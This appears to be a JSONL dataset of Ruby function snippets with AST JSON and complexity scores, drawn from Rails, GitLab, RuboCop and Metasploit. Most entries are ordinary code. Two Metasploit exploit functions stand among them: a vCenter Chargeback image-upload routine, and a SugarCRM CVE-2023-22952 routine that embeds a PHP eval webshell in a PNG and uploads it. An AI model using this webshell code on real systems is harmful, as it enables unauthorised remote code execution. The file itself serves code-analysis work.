{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/utils/deep_size.rb","start_line":14,"raw_source":"def initialize(root, max_size: DEFAULT_MAX_SIZE, max_depth: DEFAULT_MAX_DEPTH)\n        @root = root\n        @max_size = max_size || DEFAULT_MAX_SIZE\n        @max_depth = max_depth || DEFAULT_MAX_DEPTH\n        @size = 0\n        @depth = 0\n\n        evaluate\n      end","complexity_score":8.0,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"root\"]},{\"type\":\"kwoptarg\",\"children\":[\"max_size\",{\"type\":\"const\",\"children\":[null,\"DEFAULT_MAX_SIZE\"]}]},{\"type\":\"kwoptarg\",\"children\":[\"max_depth\",{\"type\":\"const\",\"children\":[null,\"DEFAULT_MAX_DEPTH\"]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@root\",{\"type\":\"lvar\",\"children\":[\"root\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@max_size\",{\"type\":\"or\",\"children\":[{\"type\":\"lvar\",\"children\":[\"max_size\"]},{\"type\":\"const\",\"children\":[null,\"DEFAULT_MAX_SIZE\"]}]}]},{\"type\":\"ivasgn\",\"children\":[\"@max_depth\",{\"type\":\"or\",\"children\":[{\"type\":\"lvar\",\"children\":[\"max_depth\"]},{\"type\":\"const\",\"children\":[null,\"DEFAULT_MAX_DEPTH\"]}]}]},{\"type\":\"ivasgn\",\"children\":[\"@size\",{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"ivasgn\",\"children\":[\"@depth\",{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"send\",\"children\":[null,\"evaluate\"]}]}]}","id":"de8e3bf1-0196-486a-8d91-e2fb9210772a"}
{"repo_name":"rubocop","file_path":"./repos/rubocop/lib/rubocop/config_loader_resolver.rb","start_line":196,"raw_source":"def duplicate_setting_warning(opts, key)\n      \"#{PathUtil.smart_path(opts[:file])}: \" \\\n        \"#{opts[:cop_name]}:#{key} overrides \" \\\n        \"the same parameter in #{opts[:inherited_file]}\"\n    end","complexity_score":4.2,"ast_json":"{\"type\":\"def\",\"children\":[\"duplicate_setting_warning\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"opts\"]},{\"type\":\"arg\",\"children\":[\"key\"]}]},{\"type\":\"dstr\",\"children\":[{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"PathUtil\"]},\"smart_path\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"opts\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"file\"]}]}]}]},{\"type\":\"str\",\"children\":[\": \"]}]},{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"opts\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"cop_name\"]}]}]},{\"type\":\"str\",\"children\":[\":\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"key\"]}]},{\"type\":\"str\",\"children\":[\" overrides \"]}]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"the same parameter in \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"opts\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"inherited_file\"]}]}]}]}]}]}","id":"88f7cd69-3245-490d-a4e3-13d0301a96bc"}
{"repo_name":"rails","file_path":"./repos/rails/actionpack/test/controller/render_test.rb","start_line":1149,"raw_source":"def test_cache_control_no_cache_header_can_be_overridden_by_no_store\n    get :cache_control_no_cache_overridden_by_no_store\n    assert_equal \"no-store\", @response.headers[\"Cache-Control\"]\n  end","complexity_score":4.6,"ast_json":"{\"type\":\"def\",\"children\":[\"test_cache_control_no_cache_header_can_be_overridden_by_no_store\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"get\",{\"type\":\"sym\",\"children\":[\"cache_control_no_cache_overridden_by_no_store\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"str\",\"children\":[\"no-store\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@response\"]},\"headers\"]},\"[]\",{\"type\":\"str\",\"children\":[\"Cache-Control\"]}]}]}]}]}","id":"cacc6b24-d9ba-445a-bda2-dbe83d384b14"}
{"repo_name":"rubocop","file_path":"./repos/rubocop/lib/rubocop/runner.rb","start_line":347,"raw_source":"def inspect_file(processed_source, team = mobilize_team(processed_source))\n      extracted_ruby_sources = extract_ruby_sources(processed_source)\n      offenses = extracted_ruby_sources.flat_map do |extracted_ruby_source|\n        report = team.investigate(\n          extracted_ruby_source[:processed_source],\n          offset: extracted_ruby_source[:offset],\n          original: processed_source\n        )\n        @errors.concat(team.errors)\n        @warnings.concat(team.warnings)\n        report.offenses\n      end\n      [offenses, team.updated_source_file?]\n    end","complexity_score":19.6,"ast_json":"{\"type\":\"def\",\"children\":[\"inspect_file\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"processed_source\"]},{\"type\":\"optarg\",\"children\":[\"team\",{\"type\":\"send\",\"children\":[null,\"mobilize_team\",{\"type\":\"lvar\",\"children\":[\"processed_source\"]}]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"extracted_ruby_sources\",{\"type\":\"send\",\"children\":[null,\"extract_ruby_sources\",{\"type\":\"lvar\",\"children\":[\"processed_source\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"offenses\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"extracted_ruby_sources\"]},\"flat_map\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"extracted_ruby_source\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"report\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"team\"]},\"investigate\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"extracted_ruby_source\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"processed_source\"]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"offset\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"extracted_ruby_source\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"offset\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"original\"]},{\"type\":\"lvar\",\"children\":[\"processed_source\"]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@errors\"]},\"concat\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"team\"]},\"errors\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@warnings\"]},\"concat\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"team\"]},\"warnings\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"report\"]},\"offenses\"]}]}]}]},{\"type\":\"array\",\"children\":[{\"type\":\"lvar\",\"children\":[\"offenses\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"team\"]},\"updated_source_file?\"]}]}]}]}","id":"b9ffc056-f374-4a0b-97a4-8f869043f05c"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/graphql/resolvers/ci/config_resolver.rb","start_line":58,"raw_source":"def response(result)\n        {\n          status: result.status,\n          errors: result.errors,\n          warnings: result.warnings,\n          stages: make_stages(result),\n          merged_yaml: result.merged_yaml,\n          includes: result.includes\n        }\n      end","complexity_score":6.0,"ast_json":"{\"type\":\"def\",\"children\":[\"response\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"result\"]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"status\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"result\"]},\"status\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"errors\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"result\"]},\"errors\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"warnings\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"result\"]},\"warnings\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"stages\"]},{\"type\":\"send\",\"children\":[null,\"make_stages\",{\"type\":\"lvar\",\"children\":[\"result\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"merged_yaml\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"result\"]},\"merged_yaml\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"includes\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"result\"]},\"includes\"]}]}]}]}","id":"1170c2c5-51fb-4ba6-93b5-22a99285d854"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/rex/parser/mbsa_document.rb","start_line":197,"raw_source":"def collect_host_data\n      return unless @state[:address]\n      return if @state[:address].strip.empty?\n      @report_data[:host] = @state[:address].strip\n      if @state[:hostname] && !@state[:hostname].empty?\n        @report_data[:name] = @state[:hostname]\n      end\n      @report_data[:state] = Msf::HostState::Alive\n    end","complexity_score":20.0,"ast_json":"{\"type\":\"def\",\"children\":[\"collect_host_data\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@state\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"address\"]}]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@state\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"address\"]}]},\"strip\"]},\"empty?\"]},{\"type\":\"return\",\"children\":[]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@report_data\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"host\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@state\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"address\"]}]},\"strip\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@state\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"hostname\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@state\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"hostname\"]}]},\"empty?\"]},\"!\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@report_data\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@state\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"hostname\"]}]}]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@report_data\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"state\"]},{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Msf\"]},\"HostState\"]},\"Alive\"]}]}]}]}","id":"e063b0a7-52df-486c-9218-a82b0d6a55a0"}
{"repo_name":"rails","file_path":"./repos/rails/activemodel/lib/active_model/attribute.rb","start_line":239,"raw_source":"def with_type(type)\n          self.class.with_cast_value(name, nil, type)\n        end","complexity_score":3.4,"ast_json":"{\"type\":\"def\",\"children\":[\"with_type\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"type\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"class\"]},\"with_cast_value\",{\"type\":\"send\",\"children\":[null,\"name\"]},{\"type\":\"nil\",\"children\":[]},{\"type\":\"lvar\",\"children\":[\"type\"]}]}]}","id":"63657fc8-4654-43e3-88fc-eb1c51b38228"}
{"repo_name":"rails","file_path":"./repos/rails/activesupport/test/core_ext/duration_test.rb","start_line":555,"raw_source":"def test_thirty_days_does_not_equal_one_month\n    assert_not_equal 30.days, 1.month\n  end","complexity_score":4.1,"ast_json":"{\"type\":\"def\",\"children\":[\"test_thirty_days_does_not_equal_one_month\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"assert_not_equal\",{\"type\":\"send\",\"children\":[{\"type\":\"int\",\"children\":[30]},\"days\"]},{\"type\":\"send\",\"children\":[{\"type\":\"int\",\"children\":[1]},\"month\"]}]}]}","id":"677b7d8b-b5e4-4a61-b211-ed455da04318"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/spec/support/helpers/cycle_analytics_helpers.rb","start_line":37,"raw_source":"def fill_in_custom_label_stage_fields\n    index = page.all('[data-testid=\"value-stream-stage-fields\"]').length\n    last_stage = page.all('[data-testid=\"value-stream-stage-fields\"]').last\n\n    within last_stage do\n      find('[name*=\"custom-stage-name-\"]').fill_in with: \"Cool custom label stage - name #{index}\"\n      select_dropdown_option_by_value \"custom-stage-start-event-\", 'Issue label added'\n      select_dropdown_option_by_value \"custom-stage-end-event-\", 'Issue label removed'\n\n      select_event_label(\"[data-testid*='custom-stage-start-event-label-']\")\n      select_event_label(\"[data-testid*='custom-stage-end-event-label-']\")\n    end\n  end","complexity_score":18.6,"ast_json":"{\"type\":\"def\",\"children\":[\"fill_in_custom_label_stage_fields\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"index\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"page\"]},\"all\",{\"type\":\"str\",\"children\":[\"[data-testid=\\\"value-stream-stage-fields\\\"]\"]}]},\"length\"]}]},{\"type\":\"lvasgn\",\"children\":[\"last_stage\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"page\"]},\"all\",{\"type\":\"str\",\"children\":[\"[data-testid=\\\"value-stream-stage-fields\\\"]\"]}]},\"last\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"within\",{\"type\":\"lvar\",\"children\":[\"last_stage\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"find\",{\"type\":\"str\",\"children\":[\"[name*=\\\"custom-stage-name-\\\"]\"]}]},\"fill_in\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"with\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Cool custom label stage - name \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"index\"]}]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"select_dropdown_option_by_value\",{\"type\":\"str\",\"children\":[\"custom-stage-start-event-\"]},{\"type\":\"str\",\"children\":[\"Issue label added\"]}]},{\"type\":\"send\",\"children\":[null,\"select_dropdown_option_by_value\",{\"type\":\"str\",\"children\":[\"custom-stage-end-event-\"]},{\"type\":\"str\",\"children\":[\"Issue label removed\"]}]},{\"type\":\"send\",\"children\":[null,\"select_event_label\",{\"type\":\"str\",\"children\":[\"[data-testid*='custom-stage-start-event-label-']\"]}]},{\"type\":\"send\",\"children\":[null,\"select_event_label\",{\"type\":\"str\",\"children\":[\"[data-testid*='custom-stage-end-event-label-']\"]}]}]}]}]}]}","id":"1b21b8f9-d086-4bf9-93f1-6f7cfe8338a3"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/api/milestone_responses.rb","start_line":40,"raw_source":"def list_milestones_for(parent)\n          if params.include?(:include_parent_milestones)\n            params[:include_ancestors] = params.delete(:include_parent_milestones)\n          else\n            # include_ancestors should default to false\n            params[:include_ancestors] ||= false\n          end\n\n          milestones = MilestonesFinder.new(\n            params.merge(parent_finder_params(parent))\n          ).execute\n\n          present paginate(milestones), with: Entities::Milestone\n        end","complexity_score":18.9,"ast_json":"{\"type\":\"def\",\"children\":[\"list_milestones_for\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"parent\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"include?\",{\"type\":\"sym\",\"children\":[\"include_parent_milestones\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"include_ancestors\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"delete\",{\"type\":\"sym\",\"children\":[\"include_parent_milestones\"]}]}]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"include_ancestors\"]}]},{\"type\":\"false\",\"children\":[]}]}]},{\"type\":\"lvasgn\",\"children\":[\"milestones\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"MilestonesFinder\"]},\"new\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"merge\",{\"type\":\"send\",\"children\":[null,\"parent_finder_params\",{\"type\":\"lvar\",\"children\":[\"parent\"]}]}]}]},\"execute\"]}]},{\"type\":\"send\",\"children\":[null,\"present\",{\"type\":\"send\",\"children\":[null,\"paginate\",{\"type\":\"lvar\",\"children\":[\"milestones\"]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"with\"]},{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Entities\"]},\"Milestone\"]}]}]}]}]}]}","id":"8bd169d9-0dad-47b5-a67b-2b5cb6ed6855"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/test/cases/finder_test.rb","start_line":1070,"raw_source":"def test_first_without_order_columns_and_raise_on_missing_required_finder_order_columns_disabled\n    raise_on_missing_required_finder_order_columns_before = ActiveRecord.raise_on_missing_required_finder_order_columns\n    ActiveRecord.raise_on_missing_required_finder_order_columns = false\n\n    assert_nil Edge.primary_key\n    assert_nil Edge.implicit_order_column\n    assert_nil Edge.query_constraints_list\n    assert_nothing_raised do\n      assert_deprecated(/Calling order dependent finder methods/, ActiveRecord.deprecator) do\n        Edge.all.first\n      end\n    end\n  ensure\n    ActiveRecord.raise_on_missing_required_finder_order_columns = raise_on_missing_required_finder_order_columns_before\n  end","complexity_score":20.3,"ast_json":"{\"type\":\"def\",\"children\":[\"test_first_without_order_columns_and_raise_on_missing_required_finder_order_columns_disabled\",{\"type\":\"args\",\"children\":[]},{\"type\":\"ensure\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"raise_on_missing_required_finder_order_columns_before\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveRecord\"]},\"raise_on_missing_required_finder_order_columns\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveRecord\"]},\"raise_on_missing_required_finder_order_columns=\",{\"type\":\"false\",\"children\":[]}]},{\"type\":\"send\",\"children\":[null,\"assert_nil\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Edge\"]},\"primary_key\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_nil\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Edge\"]},\"implicit_order_column\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_nil\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Edge\"]},\"query_constraints_list\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assert_nothing_raised\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assert_deprecated\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"Calling order dependent finder methods\"]},{\"type\":\"regopt\",\"children\":[]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveRecord\"]},\"deprecator\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Edge\"]},\"all\"]},\"first\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveRecord\"]},\"raise_on_missing_required_finder_order_columns=\",{\"type\":\"lvar\",\"children\":[\"raise_on_missing_required_finder_order_columns_before\"]}]}]}]}","id":"d145031c-606c-4930-940b-20e02c4e2bca"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/windows/http/vmware_vcenter_chargeback_upload.rb","start_line":100,"raw_source":"def upload_file(filename, contents)\n    post_data = Rex::MIME::Message.new\n    post_data.add_part(contents, \"image/png\", nil, \"form-data; name=\\\"#{rand_text_alpha(4 + rand(4))}\\\"; filename=\\\"#{filename}\\\"\")\n\n    data = post_data.to_s\n\n    res = send_request_cgi(\n      {\n        'uri' => normalize_uri(\"cbmui\", \"ImageUploadServlet\"),\n        'method' => 'POST',\n        'data' => data,\n        'ctype' => \"multipart/form-data; boundary=#{post_data.bound}\",\n        'cookie' => \"JSESSIONID=#{@session}\"\n      }\n    )\n\n    if res and res.code == 200\n      return true\n    else\n      return false\n    end\n  end","complexity_score":19.18,"ast_json":"{\"type\":\"def\",\"children\":[\"upload_file\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"filename\"]},{\"type\":\"arg\",\"children\":[\"contents\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"post_data\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"MIME\"]},\"Message\"]},\"new\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"post_data\"]},\"add_part\",{\"type\":\"lvar\",\"children\":[\"contents\"]},{\"type\":\"str\",\"children\":[\"image/png\"]},{\"type\":\"nil\",\"children\":[]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"form-data; name=\\\"\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"rand_text_alpha\",{\"type\":\"send\",\"children\":[{\"type\":\"int\",\"children\":[4]},\"+\",{\"type\":\"send\",\"children\":[null,\"rand\",{\"type\":\"int\",\"children\":[4]}]}]}]}]},{\"type\":\"str\",\"children\":[\"\\\"; filename=\\\"\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"filename\"]}]},{\"type\":\"str\",\"children\":[\"\\\"\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"data\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"post_data\"]},\"to_s\"]}]},{\"type\":\"lvasgn\",\"children\":[\"res\",{\"type\":\"send\",\"children\":[null,\"send_request_cgi\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"uri\"]},{\"type\":\"send\",\"children\":[null,\"normalize_uri\",{\"type\":\"str\",\"children\":[\"cbmui\"]},{\"type\":\"str\",\"children\":[\"ImageUploadServlet\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"method\"]},{\"type\":\"str\",\"children\":[\"POST\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"data\"]},{\"type\":\"lvar\",\"children\":[\"data\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"ctype\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"multipart/form-data; boundary=\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"post_data\"]},\"bound\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"cookie\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"JSESSIONID=\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@session\"]}]}]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"code\"]},\"==\",{\"type\":\"int\",\"children\":[200]}]}]},{\"type\":\"return\",\"children\":[{\"type\":\"true\",\"children\":[]}]},{\"type\":\"return\",\"children\":[{\"type\":\"false\",\"children\":[]}]}]}]}]}","id":"c764aa79-81ae-4e68-b622-69d45f8c0461"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/multi/http/sugarcrm_webshell_cve_2023_22952.rb","start_line":142,"raw_source":"def upload_webshell\n    # randomize file name and extension if option WEBSHELL is not set\n    file_ext = ['phar', 'phtml']\n    if datastore['WEBSHELL'].blank?\n      @webshell_name = \"#{Rex::Text.rand_text_alpha(8..16)}.#{file_ext.sample}\"\n    else\n      @webshell_name = datastore['WEBSHELL'].to_s\n    end\n\n    # select webshell depending on the target setting (PHP or others).\n    @post_param = Rex::Text.rand_text_alphanumeric(1..8)\n    @get_param = Rex::Text.rand_text_alphanumeric(1..8)\n\n    if target['Type'] == :php\n      payload = \"<?php @eval(base64_decode($_POST[\\'#{@post_param}\\']));?>\"\n    else\n      payload = \"<?=$_GET[\\'#{@get_param}\\'](base64_decode($_POST[\\'#{@post_param}\\']));?>\"\n    end\n\n    # inject PHP payload into the PLTE chunk of the PNG image\n    png_webshell = inject_php_payload_png(payload, injection_method: 'PLTE')\n    if png_webshell.nil?\n      return false\n    end\n\n    # construct multipart form data\n    form_data = Rex::MIME::Message.new\n    form_data.add_part('AttachFiles', nil, nil, 'form-data; name=\"action\"')\n    form_data.add_part('EmailTemplates', nil, nil, 'form-data; name=\"module\"')\n    form_data.add_part(png_webshell.to_s, 'image/png', 'binary', \"form-data; name=\\\"file\\\"; filename=\\\"#{@webshell_name}\\\"\")\n\n    res = send_request_cgi({\n      'method' => 'POST',\n      'uri' => normalize_uri(datastore['TARGETURI'], 'index.php'),\n      'cookie' => @phpsessid.to_s,\n      'ctype' => \"multipart/form-data; boundary=#{form_data.bound}\",\n      'data' => form_data.to_s\n    })\n    if res && res.code == 200 && !res.body.blank?\n      # parse HTML to find the webshell name embedded in a table that indicates a successful upload\n      html = res.get_html_document\n      if html.at(\"td[contains(\\\"#{@webshell_name}\\\")]\")\n        return true\n      else\n        return false\n      end\n    else\n      return false\n    end\n  end","complexity_score":59.75,"ast_json":"{\"type\":\"def\",\"children\":[\"upload_webshell\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"file_ext\",{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"phar\"]},{\"type\":\"str\",\"children\":[\"phtml\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"WEBSHELL\"]}]},\"blank?\"]},{\"type\":\"ivasgn\",\"children\":[\"@webshell_name\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"Text\"]},\"rand_text_alpha\",{\"type\":\"irange\",\"children\":[{\"type\":\"int\",\"children\":[8]},{\"type\":\"int\",\"children\":[16]}]}]}]},{\"type\":\"str\",\"children\":[\".\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"file_ext\"]},\"sample\"]}]}]}]},{\"type\":\"ivasgn\",\"children\":[\"@webshell_name\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"WEBSHELL\"]}]},\"to_s\"]}]}]},{\"type\":\"ivasgn\",\"children\":[\"@post_param\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"Text\"]},\"rand_text_alphanumeric\",{\"type\":\"irange\",\"children\":[{\"type\":\"int\",\"children\":[1]},{\"type\":\"int\",\"children\":[8]}]}]}]},{\"type\":\"